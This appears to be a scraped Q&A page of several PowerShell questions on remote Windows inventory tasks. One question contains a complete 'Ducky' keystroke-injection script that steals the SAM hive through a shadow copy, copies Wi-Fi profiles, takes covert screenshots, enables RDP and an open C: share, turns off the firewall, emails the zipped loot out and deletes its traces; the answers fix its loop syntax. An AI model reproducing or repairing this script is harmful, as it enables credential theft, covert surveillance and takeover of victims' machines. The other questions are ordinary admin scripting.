Test-connection for remote pcs - powershell

I have the following powershell with the aim of collecting a reg value from a list of remote machines, Ive tried using a test-connection to speed up process where devices are not online but the test-connection fails for all....
Here is the script:
clear
$servers = Get-Content -Path C:\ukdeviceswin10.txt
$PatternSID = 'S-1-5-21-\d+-\d+\-\d+\-\d+$'
$ProfileList = ForEach ($server in $servers)
{ if(test-connection $server -quiet -count 1)
{
invoke-command -computername $server {gp 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\*' | Where-Object {$_.PSChildName -match $PatternSID} |
Select #{name="SID";expression={$_.PSChildName}}}}
foreach ($profile in $profilelist) {
$profile = $profile -replace ".$"
$profile = $profile.substring(6,46)
$profile = $profile -replace "[;]"
$profile = $profile -replace "[ ]"
$profiletest = $profile.substring(0,8)
if ($profiletest -eq "S-1-5-21"){
$Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::Users, "$server")
$profilekey = $profile + "\\SOFTWARE\\Microsoft\\Office\\Outlook\\Addins\\CofenseOutlookReporter.AddinModule"
$RegKey= $Reg.OpenSubKey("$profilekey")
if ($regKey -eq $null){} else {$LoadbehaviourVersion = $RegKey.GetValue("LoadBehaviour")
$results = $server + " " + $profile + " " + $LoadbehaviourVersion | out-file -filepath c:\dell\regresults.txt -Append
}
$RegKey=""
$LoadbehaviourVersion=""
}
}
}

Related

Unable to export the IIS result to CSV

I have created a script to get all the IIS Sites and App-pool details from multiple servers, the script is working fine as expected, but I am unable to export the results to CSV file.
It will helpful if someone suggest on how can I export the output details to CSV file.
CODE
#Import-Module -Name WebAdministration
$Computers = Get-Content "C:\Desktop\Scripts\Servers.txt"
foreach ($server in $Computers) {
$iis = Get-WmiObject Win32_Service -Filter "Name = 'IISADMIN'" -ComputerName $server
if ($iis.State -eq 'Running')
{
$details = Write-Host "IIS is running on $server" -ForegroundColor Green
#Chandu
Invoke-Command -ComputerName $Computers -ScriptBlock {
# Changed to newer IISAdministration Module to match Get-IISAppPool
$Websites = Get-IISSite
foreach ($Website in $Websites) {
$AppPool = Get-IISAppPool -Name $Website.Applications[0].ApplicationPoolName
#$Website.ApplicationPool
[PSCustomObject]#{
Server_Name = $env:COMPUTERNAME +'.'+ $env:USERDNSDOMAIN
Website_Name = $Website.Name
Website_Id = $Website.Id -join ';'
Website_State = $Website.State -join ';'
Website_PhysicalPath = $Website.PhysicalPath -join ';'
Website_Bindings = $Website.Bindings.Collection -join ';'
Website_Attributes = ($Website.Attributes | ForEach-Object { $_.name + "=" + $_.value }) -join ';'
AppPool_Name = $AppPool.Name -join';'
AppPool_State = $AppPool.State -join ';'
AppPool_ManagedRuntimeVersion = $AppPool.ManagedRuntimeVersion -join ';'
AppPool_ManagedPipelineMode = $AppPool.ManagedPipelineMode -join ';'
AppPool_StartMode = $AppPool.StartMode -join ';'
}
} Export-csv -Path "C:\Desktop\Scripts\IISite_App-pool_Details.csv" -Append
}
}
}
#Export-Excel -Append -Path C:\Desktop\Scripts\IISite_App-pool_Details.xlsx -AutoSize -BoldTopRow
You could add switch -HideComputerName to the Invoke-Command cal, but then still the output will also have properties 'RunspaceId' and 'PSShowComputerName' added to it.
If you don't want those, you can de-select them from the result like
$iis = Get-WmiObject Win32_Service -Filter "Name = 'IISADMIN'" -ComputerName $server
if ($iis.State -eq 'Running') {
$details = Write-Host "IIS is running on $server" -ForegroundColor Green
#Chandu
$result = Invoke-Command -ComputerName $Computers -ScriptBlock {
# Changed to newer IISAdministration Module to match Get-IISAppPool
$Websites = Get-IISSite
foreach ($Website in $Websites) {
$AppPool = Get-IISAppPool -Name $Website.Applications[0].ApplicationPoolName
#$Website.ApplicationPool
[PSCustomObject]#{
Server_Name = $env:COMPUTERNAME +'.'+ $env:USERDNSDOMAIN
Website_Name = $Website.Name
Website_Id = $Website.Id -join ';'
Website_State = $Website.State -join ';'
Website_PhysicalPath = $Website.Applications["/"].VirtualDirectories["/"].PhysicalPath -join ';'
Website_Bindings = (Get-Website -Name $Website.Name).bindings.Collection join ';'
Website_Attributes = ($Website.Attributes | ForEach-Object { $_.name + "=" + $_.value }) -join ';'
AppPool_Name = $AppPool.Name -join';'
AppPool_State = $AppPool.State -join ';'
AppPool_ManagedRuntimeVersion = $AppPool.ManagedRuntimeVersion -join ';'
AppPool_ManagedPipelineMode = $AppPool.ManagedPipelineMode -join ';'
AppPool_StartMode = $AppPool.StartMode -join ';'
}
}
}
# remove the extra properties Invoke-Command added
$result = $result | Select-Object * -ExcludeProperty 'PSComputerName','RunspaceId','PSShowComputerName'
# save the result as CSV file
$result | Export-Csv -Path "C:\Desktop\Scripts\IISite_App-pool_Details.csv" -NoTypeInformation
}
P.S. Your code doesn't show where you initialized variable $Computers..

How to show remote computers mapped drive path?

I got this to work locally however on a remote system it doesn't show the path but only the drive letter. My goal is to get it to show the drive path of the remote host.
Also sometimes it doesn't show all the drive that are mapped to the remote computer and I don't know why.
I have tried changing Win32_LogicalDisk to MappedLogicalDisk but it just results to no information.
$DISK = Get-WmiObject -computer $compname Win32_LogicalDisk
foreach ($device in $DISK){
Write-Host "Drive: " $device.name
Write-Host "Path: " $device.ProviderName
""
}
Pause
CheckHost
Try one of these examples:
This one...
$ComputerName = "ServerName"
gwmi win32_mappedlogicaldisk -ComputerName $ComputerName |
select SystemName, Name, ProviderName, SessionID |
foreach {
$disk = $_
$user = gwmi Win32_LoggedOnUser -ComputerName $ComputerName |
where { ($_.Dependent.split("=")[-1] -replace '"') -eq $disk.SessionID} |
foreach {$_.Antecedent.split("=")[-1] -replace '"'}
$disk | select Name, ProviderName, #{n = "MappedTo"; e = {$user} }
}
Or this one
function Get-MappedDrives($ComputerName)
{
$output = #()
if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet)
{
$Hive = [long]$HIVE_HKU = 2147483651
$sessions = Get-WmiObject -ComputerName $ComputerName -Class win32_process |
?{$_.name -eq "explorer.exe"}
if($sessions)
{
foreach($explorer in $sessions)
{
$sid = ($explorer.GetOwnerSid()).sid
$owner = $explorer.GetOwner()
$RegProv = get-WmiObject -List -Namespace "root\default" -ComputerName $ComputerName |
Where-Object {$_.Name -eq "StdRegProv"}
$DriveList = $RegProv.EnumKey($Hive, "$($sid)\Network")
if($DriveList.sNames.count -gt 0)
{
foreach($drive in $DriveList.sNames)
{
$output += "$($drive)`t$(($RegProv.GetStringValue($Hive, "$($sid)\Network\$($drive)",
"RemotePath")).sValue)`t$($owner.Domain)`t$($owner.user)`t$($ComputerName)"
}
}
else{write-debug "No mapped drives on $($ComputerName)"}
}
}
else{write-debug "explorer.exe not running on $($ComputerName)"}
}
else{write-debug "Can't connect to $($ComputerName)"}
return $output
}
<#
#Enable if you want to see the write-debug messages
$DebugPreference = "Continue"
$list = "Server01", "Server02"
$report = $(foreach($ComputerName in $list){Get-MappedDrives $ComputerName}) |
ConvertFrom-Csv -Delimiter `t -Header Drive, Path, Domain, User, Computer
#>

Powershell remote installed softwares using workflow paralell

I am trying to convert my inventory script to be able to get a csv list of installed softwares on remote servers using workflows but I am not able to get it.
$tod = Get-Date;
$local = $PSScriptRoot +"\_Output\"+ "$((Get-Date).ToString('yyyyMMdd'))" + "\InstalledSoftwares\";
if(!(Test-Path -Path $local ))
{
New-Item -ItemType Directory -Path $local
}
$ItemList = Import-Csv $($PSScriptRoot + "\_HostList.CFG") -Header Srv -Delimiter ";"
Write-Host $ItemList.srv
workflow AllInstalledSoft {
ForEach -Parallel ($Serv in $ItemList.srv) {
#$Serv = $_.Srv
if (Test-Connection -computer $Serv -count(1) -quiet)
{
InlineScript { Write-Host $using:Serv "Is Reachable" -ForegroundColor Green
$file = $using:Serv+"_InstalledSoft"+"-{0:yyyyMMdd}.csv" -f $tod
$ExportFile = $local+$file
Get-WmiObject -Class Win32_Product -PSComputerName $using:Serv | select-object #{l="HostName";e={$using:Serv}},Name,InstallDate,InstallLocation,Vendor,Version,Caption,LocalPackage,IdentifyingNumber | Export-CSV -path $ExportFile -notypeinformation}
}
else
{
InlineScript { Write-Host $using:Serv "Is UnReachable" -ForegroundColor Red}
}
}
}
AllInstalledSoft
I cannot test but try this and see if it works. Don't try with the full hostname list, just reduce it to 5 computers to test if it works.
EDIT 3 :
$tod = (Get-Date).ToString('yyyyMMdd')
$local = $PSScriptRoot + "\_Output\" + $tod + "\InstalledSoftwares"
if(!(Test-Path -Path $local )){
New-Item -ItemType Directory -Path $local
}
$ItemList = Import-Csv $($PSScriptRoot + "\_HostList.CFG") -Header Srv -Delimiter ";" | Select-Object -Skip 1
workflow AllInstalledSoft {
param (
[parameter(Mandatory=$true)][array]$ItemList,
[parameter(Mandatory=$true)][string]$LocalExport,
[parameter(Mandatory=$true)][string]$Tod
)
ForEach -Parallel ($Serv in $ItemList) {
if(Test-Connection -ComputerName $Serv -Count 1 -Quiet){
$file = "$($Serv)_InstalledSoft-$Tod.csv"
$ExportFile = "$LocalExport\$file"
try {
Get-WmiObject -Class Win32_Product -PSComputerName $Serv -ErrorAction Stop | Select-Object PSComputerName,Name,InstallDate,InstallLocation,Vendor,Version,Caption,LocalPackage,IdentifyingNumber | Export-CSV -Path $ExportFile -NoTypeInformation
}
catch {}
}
}
}
AllInstalledSoft -LocalExport $local -ItemList $ItemList.Srv -Tod $tod

Powershell "You must provide a value expression following the '-ne' operator" error

I'm having a problem with some code in powershell, I keep getting this error:
At line:1 char:7
+ $x++ } while ($x -ne );
+ ~
Unexpected token '}' in expression or statement.
At line:1 char:22
+ $x++ } while ($x -ne );
+ ~
You must provide a value expression following the '-ne' operator.
At line:1 char:24
+ $x++ } while ($x -ne );
+ ~
Missing statement body in while loop.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : UnexpectedToken
Does anybody know how to fix it?
The target system is windows 10.
I think the problem lies in this part "$x++ } while ($x -ne );" but I'm not sure.
Here's the code (sorry that i pasted so much code, but I wasn't sure if some of the other things were a part of the error):
Windowsbutton+r
powershell Start-Process notepad -Verb runAs
Enter
$folderDateTime = (get-date).ToString('d-M-y HHmmss')
$userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime
$fileSaveDir = New-Item ($userDir) -ItemType Directory
$date = get-date
$style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>"
$Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html'
$Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"
$wlanSaveDir = New-Item $userDir'\Duck\WLAN_PROFILES' -ItemType Directory
$srcDir = 'C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces'
Copy-Item $srcDir $wlanSaveDir -Recurse
$SysBootTime = Get-WmiObject Win32_OperatingSystem
$BootTime = $SysBootTime.ConvertToDateTime($SysBootTime.LastBootUpTime)| ConvertTo-Html datetime
$SysSerialNo = (Get-WmiObject -Class Win32_OperatingSystem -ComputerName $env:COMPUTERNAME)
$SerialNo = $SysSerialNo.SerialNumber
$SysInfo = Get-WmiObject -class Win32_ComputerSystem -namespace root/CIMV2 | Select Manufacturer,Model
$SysManufacturer = $SysInfo.Manufacturer
$SysModel = $SysInfo.Model
$OS = (Get-WmiObject Win32_OperatingSystem -computername $env:COMPUTERNAME ).caption
$disk = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'"
$HD = [math]::truncate($disk.Size / 1GB)
$FreeSpace = [math]::truncate($disk.FreeSpace / 1GB)
$SysRam = Get-WmiObject -Class Win32_OperatingSystem -computername
$env:COMPUTERNAME | Select TotalVisibleMemorySize
$Ram = [Math]::Round($SysRam.TotalVisibleMemorySize/1024KB)
$SysCpu = Get-WmiObject Win32_Processor | Select Name
$Cpu = $SysCpu.Name
$HardSerial = Get-WMIObject Win32_BIOS -Computer $env:COMPUTERNAME | select SerialNumber
$HardSerialNo = $HardSerial.SerialNumber
$SysCdDrive = Get-WmiObject Win32_CDROMDrive |select Name
$graphicsCard = gwmi win32_VideoController |select Name
$graphics = $graphicsCard.Name
$SysCdDrive = Get-WmiObject Win32_CDROMDrive |select -first 1
$DriveLetter = $CDDrive.Drive
$DriveName = $CDDrive.Caption
$Disk = $DriveLetter + '\' + $DriveName
$Firewall = New-Object -com HNetCfg.FwMgr
$FireProfile = $Firewall.LocalPolicy.CurrentProfile
$FireProfile = $FireProfile.FirewallEnabled
$Report = $Report + "<div id=left><h3>Computer Information</h3><br><table><tr><td>Operating System</td><td>$OS</td></tr><tr><td>OS Serial Number:</td><td>$SerialNo</td></tr><tr><td>Current User:</td><td>$env:USERNAME </td></tr><tr><td>System Uptime:</td><td>$BootTime</td></tr><tr><td>System Manufacturer:</td><td>$SysManufacturer</td></tr><tr><td>System Model:</td><td>$SysModel</td></tr><tr><td>Serial Number:</td><td>$HardSerialNo</td></tr><tr><td>Firewall is Active:</td><td>$FireProfile</td></tr></table></div><div id=right><h3>Hardware Information</h3><table><tr><td>Hardrive Size:</td><td>$HD GB</td></tr><tr><td>Hardrive Free Space:</td><td>$FreeSpace GB</td></tr><tr><td>System RAM:</td><td>$Ram GB</td></tr><tr><td>Processor:</td><td>$Cpu</td></tr><td>CD Drive:</td><td>$Disk</td></tr><tr><td>Graphics Card:</td><td>$graphics</td></tr></table></div>"
$UserInfo = Get-WmiObject -class Win32_UserAccount -namespace root/CIMV2 | Where-Object {$_.Name -eq $env:UserName}| Select AccountType,SID,PasswordRequired
$UserType = $UserInfo.AccountType
$UserSid = $UserInfo.SID
$UserPass = $UserInfo.PasswordRequired
$IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')
$Report = $Report + "<div id=left><h3>User Information</h3><br><table><tr><td>Current User Name:</td><td>$env:USERNAME</td></tr><tr><td>Account Type:</td><td> $UserType</td></tr><tr><td>User SID:</td><td>$UserSid</td></tr><tr><td>Account Domain:</td><td>$env:USERDOMAIN</td></tr><tr><td>Password Required:</td><td>$UserPass</td></tr><tr><td>Current User is Admin:</td><td>$IsAdmin</td></tr></table>"
$Report = $Report + '</div>'
$createShadow = (gwmi -List Win32_ShadowCopy).Create('C:\', 'ClientAccessible')
$shadow = gwmi Win32_ShadowCopy | ? { $_.ID -eq $createShadow.ShadowID }
$addSlash = $shadow.DeviceObject + '\'
cmd /c mklink C:\shadowcopy $addSlash
Copy-Item 'C:\shadowcopy\Windows\System32\config\SAM' $fileSaveDir
Remove-Item -recurse -force 'C:\shadowcopy'
$Report = $Report + '<div id=center><h3> Installed Updates</h3>'
$Report = $Report + (Get-WmiObject Win32_QuickFixEngineering -ComputerName $env:COMPUTERNAME | sort-object -property installedon -Descending | ConvertTo-Html Description, HotFixId,Installedon,InstalledBy)
$Report = $Report + '</div>'
$Report = $Report + '<div id=center><h3> Installed Programs</h3> '
$Report = $Report + (Get-WmiObject -class Win32_Product | ConvertTo-html Name, Version,InstallDate)
$Report = $Report + '</table></div>'
$u = 0
$allUsb = #(get-wmiobject win32_volume | select Name, Label, FreeSpace)
$Report = $Report + '<div id=right><h3>USB Devices</h3><table>'
do {
$gbUSB = [math]::truncate($allUsb[$u].FreeSpace / 1GB)
$Report = $Report + "<tr><td>Drive Name: </td><td> " + $allUsb[$u].Name + $allUsb[$u].Label + "</td><td>Free Space: </td><td>" + $gbUSB + "GB</td></tr>"
Write-Output $fullUSB
$u ++
} while ($u -lt $allUsb.Count)
$Report = $Report + '</table></div>'
$jpegSaveDir = New-Item $fileSaveDir'\Screenshots' -ItemType Directory
$x = 0
do { Start-Sleep -Seconds 60
$jpegName = (get-date).ToString('HHmmss')
$File = "$jpegSaveDir\$jpegName.bmp"
Add-Type -AssemblyName System.Windows.Forms
Add-type -AssemblyName System.Drawing
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
$Width = $Screen.Width
$Height = $Screen.Height
$Left = $Screen.Left
$Top = $Screen.Top
$bitmap = New-Object System.Drawing.Bitmap $Width, $Height
$graphic = [System.Drawing.Graphics]::FromImage($bitmap)
$graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)
$bitmap.Save($File)
$x++ } while ($x -ne );
$Report = $Report + '<div id=center><h3>Network Information</h3>'
$Report = $Report + (Get-WmiObject Win32_NetworkAdapterConfiguration -filter 'IPEnabled= True' | Select Description,DNSHostname, #{Name='IP Address ';Expression={$_.IPAddress}}, MACAddress | ConvertTo-Html)
$Report = $Report + '</table></div>'
$Report = $Report + '<div id=center><h3>User Documents (doc,docx,pdf,rar)</h3>'
$Report = $Report + (Get-ChildItem -Path $userDir -Include *.doc, *.docx, *.pdf, *.zip, *.rar -Recurse |convertto-html Directory, Name, LastAccessTime)
$Report = $Report + '</div>'
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1
netsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes
netsh advfirewall firewall set rule group='remote desktop' new enable=Yes
$Share = [WmiClass]'Win32_Share'
$Share.Create('C:\', 'netShare', 0)
netsh advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
netsh advfirewall set allprofiles state off
$Report >> $fileSaveDir'/ComputerInfo.html'
function copy-ToZip($fileSaveDir){
$srcdir = $fileSaveDir
$zipFile = 'C:\Windows\Report.zip'
if(-not (test-path($zipFile))) {
set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
(dir $zipFile).IsReadOnly = $false}
$shellApplication = new-object -com shell.application
$zipPackage = $shellApplication.NameSpace($zipFile)
$files = Get-ChildItem -Path $srcdir
foreach($file in $files) {
$zipPackage.CopyHere($file.FullName)
while($zipPackage.Items().Item($file.name) -eq $null){
Start-sleep -seconds 1 }}}
copy-ToZip($fileSaveDir)
try {
$Sender = 'sender#gmail.com'
$Recipient = 'Recipient#email.com'
$pass = ConvertTo-SecureString 'Password' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential($sender.Split("#")[0], $pass)
Send-MailMessage -From $Sender -To $Recipient -Subject "DuckToolkit Report" -Body "Please find attached the DuckToolkit reconnaissance report." -SmtpServer "smtp.gamil.com" -UseSSL -credential $creds -Attachments "C:\Windows\Report.zip"}
catch {
break }
remove-item $fileSaveDir -recurse
remove-item 'C:\Windows\Report.zip'
Remove-Item $MyINvocation.InvocationName `
Ctrl+s
C:\Windows\config-85023.ps1
Enter
Windowsbutton+r
powershell Start-Process cmd -Verb runAs
Enter
powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false
Enter
powershell.exe -windowstyle hidden -File C:\Windows\config-85023.ps1
Enter
while ($x -ne );
you have to match $X with something, you aren't doing that right now.
If you want to compare it with nothing, try ""
As the other answer, you have to match -ne. As you are trying to match to $null, a more powershell way of writing it would be to :
while (!$x);

get last user logon time without AD

I'm trying to create a script that can get the user profiles that haven't logged on a specific computer within 30 days NOT using active directory but my script didn't work. I am using Powershell version 3. This is my code:
netsh advfirewall firewall set rule group="Windows Management Instrumentation (WMI)" new enable=yes
$ComputerList = Get-Content C:\temp\Computers1.txt
$myDomain = Get-Content C:\temp\Domain.txt
$csvFile = 'C:\temp\Profiles.csv'
# Create new .csv output file
New-Item $csvFile -type file -force
# Output the field header-line to the CSV file
"HOST,PROFILE" | Add-Content $csvFile
# Loop over the list of computers from the input file
foreach ($Computer in $ComputerList) {
# see if ping test succeeds for this computer
if (Test-Connection $Computer -Count 3 -ErrorAction SilentlyContinue) {
$ComputerFQDN = $Computer + $myDomain
$Profiles = Get-WmiObject -Class Win32_UserProfile -Computer $ComputerFQDN | Where{$_.LocalPath -notlike "*$env:SystemRoot*"}
foreach ($profile in $profiles) {
try {
$objSID = New-Object System.Security.Principal.SecurityIdentifier($profile.LocalPath) | Where {((Get-Date)-$_.lastwritetime).days -ge 30}
#| Where-Object {$_.LastLogonDate -le $CurrentDate.AddDays(-60)}
$objuser = $objsid.Translate([System.Security.Principal.NTAccount])
$objusername = $objuser.value
} catch {
$objusername = $profile.LocalPath
}
switch($profile.status){
1 { $profileType="Temporary" }
2 { $profileType="Roaming" }
4 { $profileType="Mandatory" }
8 { $profileType="Corrupted" }
default { $profileType = "LOCAL" }
}
$User = $objUser.Value
#output profile detail for this host
"$($Computer.toUpper()), $($objusername)" | Add-Content $csvFile
}
} else {
#output failure message for this host
"$($Computer.toUpper()), PING TEST FAILED" | Add-Content $csvFile
}
#LOOP
}
I tried to change the -ge to -le in the line $objSID = New-Object System.Security.Principal.SecurityIdentifier($profile.LocalPath) | Where {((Get-Date)-$_.lastwritetime).days -ge 30}, as well as changing the range after it but it still gave me the same list of computers regardless of my changes.
There are a few problems with the script, most notable is that your use of Where-Object is testing an object (SID) that doesn't know anything about dates.
I would break it down a little differently. I would write a function to catch all the stuff I need to do to attempt to figure out the last logon. That's my goes in my stack of utility functions in case I need it again.
Then I have something to use that function which deals with implementing the logic for the immediate requirement.
So you end up with this. It's a bit long, see what you think.
function Get-LastLogon {
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline = $true)]
[String]$ComputerName = $env:COMPUTERNAME
)
process {
Get-WmiObject Win32_UserProfile -ComputerName $ComputerName -Filter "Special='FALSE'" | ForEach-Object {
# Attempt to get the UserAccount using WMI
$userAccount = Get-WmiObject Win32_UserAccount -Filter "SID='$($_.SID)'" -ComputerName $ComputerName
# To satisfy WMI all single \ in a path must be escaped.
# Prefer to use NTUser.dat for last modification
$path = (Join-Path $_.LocalPath 'ntuser.dat') -replace '\\', '\\'
$cimObject = Get-WmiObject CIM_DataFile -Filter "Name='$path'" -ComputerName $ComputerName
if ($null -eq $cimObject) {
# Fall back to the directory
$path = $_.LocalPath -replace '\\', '\\'
$cimObject = Get-WmiObject CIM_Directory -Filter "Name='$path'" -ComputerName $ComputerName
}
$lastModified = $null
if ($null -ne $cimObject) {
$lastModified = [System.Management.ManagementDateTimeConverter]::ToDateTime($cimObject.LastModified)
}
# See if LastUseTime is more useful.
$lastUsed = $null
if ($null -ne $_.LastUseTime) {
$lastUsed = [System.Management.ManagementDateTimeConverter]::ToDateTime($_.LastUseTime)
}
# Profile type
$profileType = switch ($_.Status) {
1 { "Temporary" }
2 { "Roaming" }
4 { "Mandatory" }
8 { "Corrupted" }
0 { "LOCAL" }
}
[PSCustomObject]#{
ComputerName = $ComputerName
Username = $userAccount.Caption
LastChanged = $lastModified
LastUsed = $lastUsed
SID = $_.SID
Path = $_.LocalPath
ProfileType = $profileType
}
}
}
}
$myDomain = Get-Content C:\temp\Domain.txt
Get-Content C:\temp\Computers1.txt | ForEach-Object {
$ComputerName = $_ + $myDomain
if (Test-Connection $ComputerName -Quiet -Count 3) {
Get-LastLogon -ComputerName $ComputerName | Select-Object *, #{Name='Status';Expression={ 'OK' }} |
Where-Object { $_.LastChanged -lt (Get-Date).AddDays(-30) }
} else {
# Normalise the output so we don't lose columns in the export
$ComputerName | Select-Object #{Name='ComputerName';e={ $ComputerName }},
Username, LastChanged, LastUsed, SID, Path, ProfileType, #{Name='Status';Expression={ 'PING FAILED' }}
}
} | Export-Csv 'C:\temp\Profiles.csv' -NoTypeInformation